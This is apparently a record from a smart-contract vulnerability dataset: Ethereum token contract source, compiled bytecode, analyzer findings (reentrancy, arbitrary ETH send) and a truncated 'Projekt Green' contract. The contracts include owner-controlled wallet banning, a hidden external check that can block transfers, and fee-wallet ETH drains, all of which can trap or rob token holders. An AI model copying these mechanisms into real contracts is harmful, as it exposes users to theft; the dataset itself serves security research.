rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101025760003560e01c806356d9dce81161009557806395d89b411161006457806395d89b411461029e5780639e752b95146102c9578063a9059cbb146102e9578063dd62ed3e14610309578063f42938901461034f57600080fd5b806356d9dce81461022c57806370a0823114610241578063715018a6146102615780638da5cb5b1461027657600080fd5b8063293230b8116100d1578063293230b8146101cf578063313ce567146101e65780633e07ce5b1461020257806351bc3c851461021757600080fd5b806306fdde031461010e578063095ea7b31461015c57806318160ddd1461018c57806323b872dd146101af57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601381527223b437b9ba10213ab9ba32b939902a37b5b2b760691b60208201525b60405161015391906114fb565b60405180910390f35b34801561016857600080fd5b5061017c610177366004611565565b610364565b6040519015158152602001610153565b34801561019857600080fd5b506101a161037b565b604051908152602001610153565b3480156101bb57600080fd5b5061017c6101ca366004611591565b61039c565b3480156101db57600080fd5b506101e4610405565b005b3480156101f257600080fd5b5060405160068152602001610153565b34801561020e57600080fd5b506101e461077d565b34801561022357600080fd5b506101e46107b3565b34801561023857600080fd5b506101e46107e0565b34801561024d57600080fd5b506101a161025c3660046115d2565b610861565b34801561026d57600080fd5b506101e4610883565b34801561028257600080fd5b506000546040516001600160a01b039091168152602001610153565b3480156102aa57600080fd5b5060408051808201909152600281526123a160f11b6020820152610146565b3480156102d557600080fd5b506101e46102e43660046115ef565b610927565b3480156102f557600080fd5b5061017c610304366004611565565b610950565b34801561031557600080fd5b506101a1610324366004611608565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561035b57600080fd5b506101e461095d565b60006103713384846109c7565b5060015b92915050565b60006103896006600a61173b565b61039790638917370061174a565b905090565b60006103a9848484610aeb565b6103fb84336103f6856040518060600160405280602881526020016118c8602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610e27565b6109c7565b5060019392505050565b6009546001600160a01b0316331461041c57600080fd5b600c54600160a01b900460ff161561047b5760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b600b546104a79030906001600160a01b03166104996006600a61173b565b6103f690638917370061174a565b600b60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104fa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051e9190611769565b6001600160a01b031663c9c6539630600b60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105a49190611769565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106159190611769565b600c80546001600160a01b0319166001600160a01b03928316179055600b541663f305d719473061064581610861565b60008061065a6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156106c2573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906106e79190611786565b5050600c805462ff00ff60a01b1981166201000160a01b17909155600b5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610756573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061077a91906117b4565b50565b6009546001600160a01b0316331461079457600080fd5b6107a06006600a61173b565b6107ae90638917370061174a565b600a55565b6009546001600160a01b031633146107ca57600080fd5b60006107d530610861565b905061077a81610e61565b6009546001600160a01b031633146107f757600080fd5b600c54600160a01b900460ff166108505760405162461bcd60e51b815260206004820152601a60248201527f54726164696e67206973206e6f742073746172746564207965740000000000006044820152606401610472565b600c805462ff00ff60a01b19169055565b6001600160a01b03811660009081526002602052604081205461037590610fdb565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610472565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6009546001600160a01b0316331461093e57600080fd5b6004811061094b57600080fd5b600855565b6000610371338484610aeb565b6009546001600160a01b0316331461097457600080fd5b4761077a81611058565b60006109c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611096565b9392505050565b6001600160a01b038316610a295760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610472565b6001600160a01b038216610a8a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610472565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b4f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610472565b6001600160a01b038216610bb15760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610472565b60008111610c135760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610472565b604051635cf85fb360e11b815230600482015273c6866ce931d4b765d66080dd6a47566ccb99f62f9063b9f0bf6690602401602060405180830381865afa158015610c62573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c8691906117d6565b600c546001600160a01b038481169116148015610cb15750600b546001600160a01b03858116911614155b610cbc576000610cbe565b815b1115610cc957600080fd5b6000546001600160a01b03848116911614801590610cf557506000546001600160a01b03838116911614155b15610e1757600c546001600160a01b038481169116148015610d255750600b546001600160a01b03838116911614155b8015610d4a57506001600160a01b03821660009081526004602052604090205460ff16155b15610da057600a548110610da05760405162461bcd60e51b815260206004820152601a60248201527f5472616e73616374696f6e20616d6f756e74206c696d697465640000000000006044820152606401610472565b6000610dab30610861565b600c54909150600160a81b900460ff16158015610dd65750600c546001600160a01b03858116911614155b8015610deb5750600c54600160b01b900460ff165b15610e1557610df981610e61565b47670de0b6b3a7640000811115610e1357610e1347611058565b505b505b610e228383836110c4565b505050565b60008184841115610e4b5760405162461bcd60e51b815260040161047291906114fb565b506000610e5884866117ef565b95945050505050565b600c805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610ea957610ea9611806565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f269190611769565b81600181518110610f3957610f39611806565b6001600160a01b039283166020918202929092010152600b54610f5f91309116846109c7565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f9890859060009086903090429060040161181c565b600060405180830381600087803b158015610fb257600080fd5b505af1158015610fc6573d6000803e3d6000fd5b5050600c805460ff60a81b1916905550505050565b60006005548211156110425760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610472565b600061104c6110cf565b90506109c0838261097e565b6009546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611092573d6000803e3d6000fd5b5050565b600081836110b75760405162461bcd60e51b815260040161047291906114fb565b506000610e58848661188d565b610e228383836110f2565b60008060006110dc6111e9565b90925090506110eb828261097e565b9250505090565b6000806000806000806111048761126b565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061113690876112c8565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611165908661130a565b6001600160a01b03891660009081526002602052604090205561118781611369565b61119184836113b3565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111d691815260200190565b60405180910390a3505050505050505050565b6005546000908190816111fe6006600a61173b565b61120c90638917370061174a565b905061123461121d6006600a61173b565b61122b90638917370061174a565b6005549061097e565b8210156112625760055461124a6006600a61173b565b61125890638917370061174a565b9350935050509091565b90939092509050565b60008060008060008060008060006112888a6007546008546113d7565b92509250925060006112986110cf565b905060008060006112ab8e87878761142c565b919e509c509a509598509396509194505050505091939550919395565b60006109c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e27565b60008061131783856118af565b9050838110156109c05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610472565b60006113736110cf565b90506000611381838361147c565b3060009081526002602052604090205490915061139e908261130a565b30600090815260026020526040902055505050565b6005546113c090836112c8565b6005556006546113d0908261130a565b6006555050565b60008080806113f160646113eb898961147c565b9061097e565b9050600061140460646113eb8a8961147c565b9050600061141c826114168b866112c8565b906112c8565b9992985090965090945050505050565b600080808061143b888661147c565b90506000611449888761147c565b90506000611457888861147c565b905060006114698261141686866112c8565b939b939a50919850919650505050505050565b60008261148b57506000610375565b6000611497838561174a565b9050826114a4858361188d565b146109c05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610472565b600060208083528351808285015260005b818110156115285785810183015185820160400152820161150c565b8181111561153a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461077a57600080fd5b6000806040838503121561157857600080fd5b823561158381611550565b946020939093013593505050565b6000806000606084860312156115a657600080fd5b83356115b181611550565b925060208401356115c181611550565b929592945050506040919091013590565b6000602082840312156115e457600080fd5b81356109c081611550565b60006020828403121561160157600080fd5b5035919050565b6000806040838503121561161b57600080fd5b823561162681611550565b9150602083013561163681611550565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561169257816000190482111561167857611678611641565b8085161561168557918102915b93841c939080029061165c565b509250929050565b6000826116a957506001610375565b816116b657506000610375565b81600181146116cc57600281146116d6576116f2565b6001915050610375565b60ff8411156116e7576116e7611641565b50506001821b610375565b5060208310610133831016604e8410600b8410161715611715575081810a610375565b61171f8383611657565b806000190482111561173357611733611641565b029392505050565b60006109c060ff84168361169a565b600081600019048311821515161561176457611764611641565b500290565b60006020828403121561177b57600080fd5b81516109c081611550565b60008060006060848603121561179b57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c657600080fd5b815180151581146109c057600080fd5b6000602082840312156117e857600080fd5b5051919050565b60008282101561180157611801611641565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186c5784516001600160a01b031683529383019391830191600101611847565b50506001600160a01b03969096166060850152505050608001529392505050565b6000826118aa57634e487b7160e01b600052601260045260246000fd5b500490565b600082198211156118c2576118c2611641565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220578d844abe4a1dc3bc8e68758775b469a013703841d767d84065286adbd10a0764736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
438
0x529bCdD9Dd315be4Bd19E5AC0A82652cDf28fF83
/** *Submitted for verification at Etherscan.io on 2021-06-03 */ /* Projekt Green, by The Fair Token Project * 100% LP Lock * 0% burn * Projekt Telegram: t.me/projektgreen * FTP Telegram: t.me/fairtokenproject */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _mS() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _o; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _mS(); _o = msgSender; emit OwnershipTransferred(address(0), msgSender); } function o() public view returns (address) { return _o; } modifier onlyOwner() { require(_o == _mS(), "Ownable: caller is not the owner"); _; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract ProjektGreen is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _oR; mapping (address => uint256) private _q; mapping (address => uint256) private _p; mapping (address => mapping (address => uint256)) private _aT; mapping (address => bool) private _xF; uint256 private constant Q = ~uint256(0); uint256 private constant _T = 100000000000000 * 10**9; uint256 private _R = (Q - (Q % _T)); uint256 private _xA; string private _name = unicode"Projekt Green 🟢💵💵"; string private _symbol = 'GREEN'; uint8 private _decimals = 9; uint8 private _d = 4; uint256 private _c = 0; uint256 private _tQ; uint256 private _t; address payable private _f; IUniswapV2Router02 private uR; address private uP; bool private tO; bool private iS = false; bool private sE = false; uint256 private m = 500000000000 * 10**9; uint256 private sM = m; uint256 private xM = sM.mul(4); event nM(uint m); modifier lS { iS = true; _; iS = false; } constructor () { _oR[address(this)] = _R; _xF[o()] = true; _xF[address(this)] = true; emit Transfer(address(0), address(this), _T); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _T; } function balanceOf(address account) public view override returns (uint256) { return _tB(_oR[account]); } function banCount() external view returns (uint256){ return _c; } function transfer(address recipient, uint256 amount) public override returns (bool) { _xT(_mS(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _aT[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_mS(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _xT(sender, recipient, amount); _approve(sender, _mS(), _aT[sender][_mS()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _aT[owner][spender] = amount; emit Approval(owner, spender, amount); } function _tB(uint256 a) private view returns(uint256) { require(a <= _R, "Amount must be less than total reflections"); uint256 b = _gR(); return a.div(b); } function _fX(address payable a) external onlyOwner() { _f = a; _xF[a] = true; } function _xT(address f, address t, uint256 a) private { require(f != address(0), "ERC20: transfer from the zero address"); require(t != address(0), "ERC20: transfer to the zero address"); require(a > 0, "Transfer amount must be greater than zero"); uint256 wA = balanceOf(t); _t = 3; if(t != uP && t != address(uR)) require(wA < xM); if(f != uP) require(_p[f] < 3); if (f != o() && t != o() && tO) { if (t != uP && t != address(uR) && (block.number - _q[t]) <= 0) _W(t); else if (t != uP && t != address(uR) && (block.number - _q[t]) <= _d) _w(t); if (f == uP && t != address(uR) && !_xF[t]) require(a <= m); uint256 tB = balanceOf(address(this)); if (!iS && f != uP && sE) { _sE(tB); uint256 cE = address(this).balance; if(cE > 0) { _sF(address(this).balance); } } } bool tF = true; if(_xF[f] || _xF[t]){ tF = false; } _z(block.number, t); _tT(f,t,a,tF); } function _sE(uint256 a) private lS { address[] memory path = new address[](2); path[0] = address(this); path[1] = uR.WETH(); _approve(address(this), address(uR), a); uR.swapExactTokensForETHSupportingFeeOnTransferTokens( a, 0, path, address(this), block.timestamp ); } function _sF(uint256 a) private { _f.transfer(a); } function addLiquidity() external onlyOwner() { require(!tO,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uR = _uniswapV2Router; _approve(address(this), address(uR), _T); uP = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uR.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,o(),block.timestamp); sE = true; tO = true; IERC20(uP).approve(address(uR), type(uint).max); } function _tT(address f, address t, uint256 a, bool tF) private { if(!tF) _t = 0; _xS(f, t, a); if(!tF) _t = 3; } function _xS(address f, address t, uint256 a) private { (uint256 z, uint256 x, uint256 _a, uint256 y, uint256 _b, uint256 w) = _B(a); _oR[f] = _oR[f].sub(z); _oR[t] = _oR[t].add(x); _fZ(w); emit Transfer(f, t, y); } function _fZ(uint256 a) private { uint256 c = _gR(); uint256 b = a.mul(c); _oR[address(this)] = _oR[address(this)].add(b); } receive() external payable {} function _mX() external { require(_mS() == _f); uint256 cB = balanceOf(address(this)); _sE(cB); } function _mT() external { require(_mS() == _f); uint256 cE = address(this).balance; _sF(cE); } function _B(uint256 a) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 z, uint256 w, uint256 u) = _bZ(a, _tQ, _t); uint256 b = _gR(); (uint256 y, uint256 x, uint256 t) = _bX(a, w, u, b); return (y, x, t, z, w, u); } function _bZ(uint256 a, uint256 b, uint256 c) private pure returns (uint256, uint256, uint256) { uint256 z = a.mul(b).div(100); uint256 x = a.mul(c).div(100); uint256 y = a.sub(z).sub(x); return (y, z, x); } function _bX(uint256 a, uint256 b, uint256 c, uint256 d) private pure returns (uint256, uint256, uint256) { uint256 z = a.mul(d); uint256 x = b.mul(d); uint256 y = c.mul(d); uint256 w = z.sub(x).sub(y); return (z, w, x); } function _gR() private view returns(uint256) { (uint256 sR, uint256 sT) = _gS(); return sR.div(sT); } function _gS() private view returns(uint256, uint256) { uint256 sR = _R; uint256 sT = _T; if (sR < _R.div(_T)) return (_R, _T); return (sR, sT); } function lT() external onlyOwner() { m = xM; sM = xM; emit nM(m); } function _z(uint b, address a) private { _q[a] = b; } function _w(address a) private { if(_p[a] == 2) _c += 1; _p[a] += 1; } function _W(address a) private { if(_p[a] < 3) _c += 1; _p[a] += 3; } function _v(address a) external onlyOwner() { _p[a] += 1; } function _u(address a) external onlyOwner() { _p[a] = 0; _c -= 1; } function _k(uint8 a) external onlyOwner() { _d = a; } }
0x6080604052600436106101185760003560e01c806350cd4df2116100a0578063a9059cbb11610064578063a9059cbb14610372578063da93da04146103af578063dd62ed3e146103d8578063e8078d9414610415578063fa2b20091461042c5761011f565b806350cd4df21461028d57806370a08231146102b85780638c2e41a4146102f557806395d89b411461031e57806398901ccc146103495761011f565b8063313ce567116100e7578063313ce567146101f457806331d10f971461021f5780633cdfeed914610248578063410209411461025f578063458f5bad146102765761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610457565b6040516101469190612eb6565b60405180910390f35b34801561015b57600080fd5b5061017660048036038101906101719190612a89565b6104e9565b6040516101839190612e9b565b60405180910390f35b34801561019857600080fd5b506101a1610507565b6040516101ae9190613018565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d99190612a3a565b610519565b6040516101eb9190612e9b565b60405180910390f35b34801561020057600080fd5b506102096105f2565b604051610216919061308d565b60405180910390f35b34801561022b57600080fd5b5061024660048036038101906102419190612983565b610609565b005b34801561025457600080fd5b5061025d610700565b005b34801561026b57600080fd5b50610274610772565b005b34801561028257600080fd5b5061028b610854565b005b34801561029957600080fd5b506102a26108ce565b6040516102af9190612dcd565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612983565b6108f7565b6040516102ec9190613018565b60405180910390f35b34801561030157600080fd5b5061031c60048036038101906103179190612b3d565b610948565b005b34801561032a57600080fd5b506103336109fb565b6040516103409190612eb6565b60405180910390f35b34801561035557600080fd5b50610370600480360381019061036b9190612983565b610a8d565b005b34801561037e57600080fd5b5061039960048036038101906103949190612a89565b610b7c565b6040516103a69190612e9b565b60405180910390f35b3480156103bb57600080fd5b506103d660048036038101906103d191906129d5565b610b9a565b005b3480156103e457600080fd5b506103ff60048036038101906103fa91906129fe565b610ccb565b60405161040c9190613018565b60405180910390f35b34801561042157600080fd5b5061042a610d52565b005b34801561043857600080fd5b50610441611285565b60405161044e9190613018565b60405180910390f35b606060088054610466906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610492906132be565b80156104df5780601f106104b4576101008083540402835291602001916104df565b820191906000526020600020905b8154815290600101906020018083116104c257829003601f168201915b5050505050905090565b60006104fd6104f661130a565b8484611312565b6001905092915050565b600069152d02c7e14af6800000905090565b60006105268484846114dd565b6105e78461053261130a565b6105e2856040518060600160405280602881526020016136a660289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061059861130a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce19092919063ffffffff16565b611312565b600190509392505050565b6000600a60009054906101000a900460ff16905090565b61061161130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461069e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161069590612f78565b60405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600b60008282546106f691906131de565b9250508190555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661074161130a565b73ffffffffffffffffffffffffffffffffffffffff161461076157600080fd5b600047905061076f81611d45565b50565b61077a61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107fe90612f78565b60405180910390fd5b6013546011819055506013546012819055507f044a9a3440fe42ec4d9e8b3f6e45f2e519da4e692f7a49caddfc5b3543892e2b60115460405161084a9190613018565b60405180910390a1565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661089561130a565b73ffffffffffffffffffffffffffffffffffffffff16146108b557600080fd5b60006108c0306108f7565b90506108cb81611db1565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610941600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120ab565b9050919050565b61095061130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d490612f78565b60405180910390fd5b80600a60016101000a81548160ff021916908360ff16021790555050565b606060098054610a0a906132be565b80601f0160208091040260200160405190810160405280929190818152602001828054610a36906132be565b8015610a835780601f10610a5857610100808354040283529160200191610a83565b820191906000526020600020905b815481529060010190602001808311610a6657829003601f168201915b5050505050905090565b610a9561130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1990612f78565b60405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b7291906130fd565b9250508190555050565b6000610b90610b8961130a565b84846114dd565b6001905092915050565b610ba261130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2690612f78565b60405180910390fd5b80600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d5a61130a565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90612f78565b60405180910390fd5b601060149054906101000a900460ff1615610e37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2e90612ff8565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ec830600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669152d02c7e14af6800000611312565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610f0e57600080fd5b505afa158015610f22573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4691906129ac565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610fa857600080fd5b505afa158015610fbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fe091906129ac565b6040518363ffffffff1660e01b8152600401610ffd929190612de8565b602060405180830381600087803b15801561101757600080fd5b505af115801561102b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104f91906129ac565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306110d8306108f7565b6000806110e36108ce565b426040518863ffffffff1660e01b815260040161110596959493929190612e3a565b6060604051808303818588803b15801561111e57600080fd5b505af1158015611132573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111579190612aee565b5050506001601060166101000a81548160ff0219169083151502179055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161122f929190612e11565b602060405180830381600087803b15801561124957600080fd5b505af115801561125d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112819190612ac5565b5050565b6000600b54905090565b6000808314156112a25760009050611304565b600082846112b09190613184565b90508284826112bf9190613153565b146112ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f690612f58565b60405180910390fd5b809150505b92915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611382576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137990612fd8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990612f18565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffff